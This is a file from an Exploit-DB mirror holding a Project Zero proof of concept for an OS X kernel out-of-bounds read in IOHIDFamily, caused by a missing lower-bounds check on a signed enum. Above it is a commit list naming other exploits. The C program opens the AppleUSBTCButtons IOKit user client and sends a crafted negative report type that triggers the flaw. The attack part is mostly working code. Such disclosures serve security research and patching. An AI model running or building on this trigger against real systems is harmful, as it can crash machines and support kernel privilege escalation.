exploit-db-mirror/platforms/osx/dos/39927.c
Offensive Security 076ef173f9 DB: 2016-06-11
23 new exploits

Poison Ivy 2.1.x C2 Buffer Overflow (msf)
Matrix42 Remote Control Host 3.20.0031 - Unquoted Path Privilege Escalation
Dell OpenManage Server Administrator 8.3 - XML External Entity Exploit
Mobiketa 1.0 - CSRF Add Admin Exploit
miniMySQLAdmin 1.1.3 - CSRF Execute SQL Query
phpMyFAQ 2.9.0 - Stored XSS
Windows x86 system(_systeminfo_) Shellcode
Armadito Antimalware - Backdoor/Bypass
Riot Games League of Legends - Insecure File Permissions Privilege Escalation
IPFire proxy.cgi RCE
IPFire Bash Environment Variable Injection (Shellshock)
Apache Struts REST Plugin With Dynamic Method Invocation Remote Code Execution
OS X Kernel - Exploitable NULL Pointer Dereference in nvCommandQueue::GetHandleIndex in GeForce.kext
Android - /system/bin/sdcard Stack Buffer Overflow
OS X Kernel - Exploitable NULL Pointer Dereference in AppleMuxControl.kext
OS X Kernel - Exploitable NULL Pointer Dereference in AppleGraphicsDeviceControl
OS X Kernel - Exploitable NULL Dereference in IOAccelSharedUserClient2::page_off_resource
OS X Kernel - Exploitable NULL Dereference in CoreCaptureResponder Due to Unchecked Return Value
OS X Kernel - Exploitable NULL Pointer Dereference in IOAudioEngine
OS X Kernel - OOB Read of Object Pointer Due to Insufficient Checks in Raw Cast to enum Type
OS X Kernel - Use-After-Free Due to Bad Locking in IOAcceleratorFamily2
OS X/iOS Kernel - UAF Racing getProperty on IOHDIXController and testNetBootMethod on IOHDIXControllerUserClient
OS X Kernel - Stack Buffer Overflow in GeForce GPU Driver
2016-06-11 05:06:22 +00:00

191 lines
5.6 KiB
C
Executable file

/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=774
The IOHIDFamily function IOHIDDevice::handleReportWithTime takes at attacker controlled unchecked IOHIDReportType enum,
which was cast from an int in either IOHIDLibUserClient::_setReport or _getReport:
ret = target->setReport(arguments->structureInput, arguments->structureInputSize, (IOHIDReportType)arguments->scalarInput[0]
handleReportWithTime only checks that the enum is <= the max, but enums are really just (signed) ints so there needs to be a lower-bounds
check here too:
if ( reportType >= kIOHIDReportTypeCount )
return kIOReturnBadArgument;
reportType is then used here:
element = GetHeadElement( GetReportHandlerSlot(reportID),
reportType);
while ( element ) {
shouldTickle |= element->shouldTickleActivity();
changed |= element->processReport( reportID,
where GetHeadElement is defined as:
#define GetHeadElement(slot, type) _reportHandlers[slot].head[type]
This leads to an OOB read off the head array followed by virtual function calls
Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2
Note that repro'ing this might be more involved on other models as there are a lot of different HID devices and drivers.
I can provide panic logs if required.
*/
// ianbeer
// clang -o hidlib_oob hidlib_oob.c -framework IOKit -framework CoreFoundation
/*
OS X kernel OOB read of object pointer due to insufficient checks in raw cast to enum type
The IOHIDFamily function IOHIDDevice::handleReportWithTime takes at attacker controlled unchecked IOHIDReportType enum,
which was cast from an int in either IOHIDLibUserClient::_setReport or _getReport:
ret = target->setReport(arguments->structureInput, arguments->structureInputSize, (IOHIDReportType)arguments->scalarInput[0]
handleReportWithTime only checks that the enum is <= the max, but enums are really just (signed) ints so there needs to be a lower-bounds
check here too:
if ( reportType >= kIOHIDReportTypeCount )
return kIOReturnBadArgument;
reportType is then used here:
element = GetHeadElement( GetReportHandlerSlot(reportID),
reportType);
while ( element ) {
shouldTickle |= element->shouldTickleActivity();
changed |= element->processReport( reportID,
where GetHeadElement is defined as:
#define GetHeadElement(slot, type) _reportHandlers[slot].head[type]
This leads to an OOB read off the head array followed by virtual function calls
Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2
Note that repro'ing this might be more involved on other models as there are a lot of different HID devices and drivers.
I can provide panic logs if required.
*/
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/time.h>
#include <unistd.h>
#include <libkern/OSAtomic.h>
#include <mach/mach_error.h>
#include <IOKit/IOKitLib.h>
#include <CoreFoundation/CoreFoundation.h>
io_connect_t get_user_client(const char* name, int type) {
kern_return_t err;
CFDictionaryRef matching;
io_service_t service;
// try IOServiceMatching
matching = IOServiceMatching(name);
service = IOServiceGetMatchingService(kIOMasterPortDefault, matching); // consume a ref on matching
if (service == MACH_PORT_NULL) {
// try IOServiceNameMatching
matching = IOServiceNameMatching(name);
service = IOServiceGetMatchingService(kIOMasterPortDefault, matching);
}
if (service == MACH_PORT_NULL) {
// try everything and look for a partial name match
matching = IOServiceMatching("IOService");
io_iterator_t iterator;
IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
int found_it = 0;
while ((service = IOIteratorNext(iterator)) != IO_OBJECT_NULL) {
io_name_t object_name;
IOObjectGetClass(service, object_name);
if (strstr(object_name, name)) {
found_it = 1;
break;
}
IOObjectRelease(service);
}
IOObjectRelease(iterator);
if (!found_it) {
// couldn't find any matches for the name anywhere
return MACH_PORT_NULL;
}
}
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), type, &conn);
if (err != KERN_SUCCESS){
printf("IOServiceOpen failed: %s\n", mach_error_string(err));
IOObjectRelease(service);
return MACH_PORT_NULL;
}
IOObjectRelease(service);
return conn;
}
kern_return_t poc(io_connect_t client){
unsigned int selector;
uint64_t inputScalar[16];
size_t inputScalarCnt = 0;
uint8_t inputStruct[4096];
size_t inputStructCnt = 0;
uint64_t outputScalar[16];
uint32_t outputScalarCnt = 0;
char outputStruct[4096];
size_t outputStructCnt = 0;
inputScalar[0] = 0xe0000000; // cast to an enum (int) and no lower-bounds check
inputScalar[1] = 0x00a90000;
inputScalar[2] = 0;
inputScalarCnt = 3;
outputStructCnt = 0x1000;
selector = 12;
return IOConnectCallMethod(
client,
selector,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
}
int main(int argc, char** argv){
io_connect_t client = get_user_client("AppleUSBTCButtons", 0);
if (client == MACH_PORT_NULL) {
printf("no client\n");
return 1;
}
poc(client);
return 0;
}